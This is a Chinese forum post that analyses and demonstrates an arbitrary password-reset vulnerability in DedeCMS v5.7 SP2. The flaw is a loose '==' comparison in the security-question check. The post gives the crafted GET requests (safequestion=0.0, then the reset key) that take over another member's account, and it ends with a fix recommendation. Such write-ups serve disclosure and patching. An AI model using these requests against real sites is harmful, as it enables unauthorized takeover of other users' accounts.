DedeCMS v5.7 SP2前台用户密码任意修改漏洞分析与利用

图片[1]-DedeCMS v5.7 SP2前台用户密码任意修改漏洞分析与利用-山海云端论坛

影响范围

DedeCMS v5.7 SP2

漏洞危害

此漏洞允许攻击者任意修改 DedeCMS v5.7 SP2 的前台用户密码,从而获取未经授权的访问权限。

攻击类型

此漏洞为任意修改前台用户密码。

利用条件

  1. 目标网站必须开启了会员模块。
  2. 攻击者需要拥有一个有效的正常会员账号。
  3. 目标用户必须没有设置安全问题作为密码找回方式。

漏洞简介

DedeCMS v5.7 SP2 存在一个漏洞,允许攻击者通过 resetpasswordd.php 文件中的不安全逻辑来任意修改前台用户的密码。

漏洞分析

漏洞文件位于 /member/resetpasswordd.php,该文件负责处理用户密码重置的请求。

  1. 首先,脚本接收一个 id 参数,用于查询要重置密码的用户。
<code>$id = isset($_GET['id']) ? intval($_GET['id']) : 0;</code>
图片[2]-DedeCMS v5.7 SP2前台用户密码任意修改漏洞分析与利用-山海云端论坛
  1. 接着检查 dopost 参数。如果为空,则重定向到密码重置模板页面;如果不为空,则进行进一步的处理。当 dopostgetpwd 时,脚本会验证用户输入的验证码、邮箱或用户名的合法性。
  2. 提供两种密码找回方式:
    • 邮件方式:如果邮件服务开启,则发送重置密码的邮件,否则给出提示信息。
    • 安全问题:检查用户是否设置了安全问题。如果设置了安全问题,则进入下一步;否则给出提示信息。
  3. 在安全问题找回密码的流程中,脚本会根据用户提供的安全问题和答案进行验证。但值得注意的是,验证时使用了不严谨的比较操作符 ==,这会导致安全性漏洞。

漏洞利用

攻击者可以利用以下步骤来利用此漏洞:

  1. 注册一个普通的会员账号,作为攻击者账号。
  2. 注册另一个会员账号,作为目标账号。
  3. 使用攻击者账号登录网站。

攻击者账号:test\2\test 目标账号:test1\3\hacker

图片[3]-DedeCMS v5.7 SP2前台用户密码任意修改漏洞分析与利用-山海云端论坛

发送特制的请求以获取密码重置的 key 值。

<code>GET http://192.168.174.159:88/DedeCms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=4</code>

修改密码重置请求中的 URL,将获取到的 key 值加入其中。

<code>GET http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=4&key=anQZXeG5</code>

利用该 key 值,将目标用户的密码修改为攻击者所设定的密码。

使用修改后的密码登录目标账号。

修复建议

目前官方尚未发布修复版本。建议用户通过在代码中使用更严格的比较操作符 "===" 替换原有的 "==",从而缓解此漏洞的风险。

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容